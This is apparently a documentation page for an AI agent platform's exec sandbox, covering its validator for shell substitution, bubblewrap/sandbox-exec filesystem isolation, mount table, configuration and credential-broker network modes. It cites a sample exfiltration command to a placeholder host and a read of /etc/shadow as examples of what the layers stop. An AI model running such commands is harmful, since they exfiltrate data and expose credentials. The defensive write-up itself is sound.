read, write, and edit are protected by Safe Path validation — every path parameter is checked before the operation proceeds. But the system.exec tool spawns a full shell that can access any file on the host filesystem. The exec sandbox closes this gap with kernel-enforced filesystem isolation, ensuring that shell commands run inside a restricted namespace where only approved paths are visible.
Two-Stage Protection: Validator + Sandbox
Everysystem.exec call passes through two layers before the OS spawns
the shell:
-
ExecSecurityValidator(pre-sandbox) — a quote-aware state machine inspects the command string for dangerous shell substitution and rejects it before the sandbox even runs. Caught patterns include:- Command substitution:
$(...) - Backtick substitution:
`...` - Process substitution:
<(...),>(...) - Zsh process substitution:
=(...) - Zsh equals expansion:
=cmdat a word boundary
- Command substitution:
- OS-level sandbox (filesystem isolation) — if the validator approves, the command is wrapped by bubblewrap or sandbox-exec for the actual spawn.
echo $(curl evil.com/exfil) is stopped at stage 1, before the sandbox
runs. The sandbox catches anything stage 1 misses (e.g.,
cat /etc/shadow — syntactically clean, but /etc/shadow is invisible
inside the namespace).
The Problem
Safe Path validation protects file tool parameters, but it cannot inspect shell command strings. This creates a gap whereexec can access files that read would block:
How It Works
The sandbox uses platform-native isolation to restrict what the shell process can see:- Linux: bubblewrap (
bwrap) creates a mount namespace with only allowed paths visible. The process runs in its own user namespace with--unshare-all --share-net --die-with-parent --new-session. - macOS:
sandbox-execapplies an SBPL (Sandbox Profile Language) profile that restricts filesystem access. Default deny, with explicit read/write grants for approved paths. - Both platforms: The workspace directory is read-write, system binaries are read-only, and everything else is invisible. Network access is allowed (network isolation is a separate concern).
Mount Table
The table below shows what paths are visible inside the sandbox. Anything not listed here is invisible to the sandboxed process.| Path | Access | Purpose |
|---|---|---|
Workspace (~/.comis/workspace-{agent}/) | Read-Write | Agent’s working directory |
Graph shared dir (~/.comis/graph-runs/{runId}/) | Read-Write | Pipeline data sharing between graph nodes |
/usr, /bin, /sbin, /lib, /lib64, /lib32 | Read-Only | System binaries and shared libraries |
/etc/resolv.conf, /etc/hosts, /etc/hostname | Read-Only | Network configuration |
/etc/ssl, /etc/ca-certificates, /etc/pki | Read-Only | TLS certificates |
/etc/ld.so.cache, /etc/ld.so.conf, /etc/ld.so.conf.d | Read-Only | Dynamic linker configuration |
/etc/alternatives, /etc/localtime | Read-Only | System settings |
/etc/passwd, /etc/group, /etc/nsswitch.conf | Read-Only | User and group name resolution |
~/.gitconfig, ~/.config/git/ | Read-Only | Git author config (no credentials — ~/.ssh is NOT mounted) |
/proc | proc | Process information filesystem |
/dev | dev | Device nodes |
/tmp | Private tmpfs | Isolated temp directory (not shared with host) |
readOnlyAllowPaths entries | Read-Only | Operator-configured additional paths |
| Spillover temp dir | Read-Write | Exec tool internal temp files |
On macOS, the sandbox-exec provider uses equivalent paths:
/Library, /System, /opt/homebrew, /usr/local for system binaries, and /private/tmp, /private/var/folders for temp directories.Configuration
~/.comis/config.yaml
| Field | Type | Default | Description |
|---|---|---|---|
enabled | enum | "always" | "always" — sandbox is active; if the sandbox binary is unavailable, the exec tool logs a warning and runs unsandboxed (graceful fallback). "never" — sandbox is unconditionally disabled. |
readOnlyAllowPaths | string[] | [] | Additional filesystem paths exposed read-only inside the sandbox. Use this for shared data directories that agents need to read but should not modify. |
System Requirements
- Linux: Install bubblewrap —
apt install bubblewrap(Debian/Ubuntu) or the equivalent for your distribution. See the bubblewrap GitHub repository for details. - macOS:
sandbox-execis built in to macOS. No installation needed.
Limitations
The exec sandbox provides filesystem isolation only. It does not restrict other resource types:
- Network access is NOT restricted — network isolation is a separate concern from filesystem isolation
- CPU, memory, and disk limits are NOT enforced — resource limits are out of scope for the filesystem sandbox
- MCP tool servers run outside the sandbox — MCP servers have their own security model and are not wrapped by the exec sandbox
- sandbox-exec on macOS is deprecated — Apple may remove it in a future macOS release; use bubblewrap on Linux for production
Network Modes and Credential Broker
The exec sandbox supports two network modes viaSandboxOptions.network:
| Mode | bwrap args | Description |
|---|---|---|
open (default) | --unshare-all --share-net | Standard sandbox; full network access |
broker-only | --unshare-all --unshare-net --bind <socketPath> <socketPath> | Driven-CLI sandbox; only the broker unix socket is reachable via bind-mount |
broker-only mode is set automatically for driven API-key CLI spawns. It is not a user-configurable option — the daemon sets it when it launches a credentialed CLI through the broker.
Secure credential home (secureCredentialHome: true): When set, the following bind mounts are omitted from the sandbox, so credential files are unreachable inside:
~/.claude(read-write bind)~/.claude.json(read-only bind)~/.local/share/claude(read-write bind)
broker-only network mode combines with secureCredentialHome so neither the key material nor a direct network path to the key provider is reachable inside the sandbox. Network-level enforcement (--unshare-net) is validated on the Linux production host class: direct egress from inside the namespace fails, while the bound broker socket stays reachable.
Source:
packages/skills/src/tools/builtin/sandbox/types.ts · packages/skills/src/tools/builtin/sandbox/bwrap-provider.tsGraph Integration
When an agent runs inside an execution graph pipeline, the graph’s shared directory (~/.comis/graph-runs/{runId}/) is automatically mounted read-write inside the sandbox. This allows pipeline nodes to share data files while maintaining filesystem isolation — each node can read outputs from upstream nodes and write outputs for downstream nodes, but cannot access any other part of the host filesystem.
Related
Defense in Depth
How the exec sandbox fits into the 22 categorical security layers
Safe Path
Path validation for file tools (read, write, edit)
Tool Security
Technical sandbox reference for all defense layers
Hardening Guide
Production hardening checklist
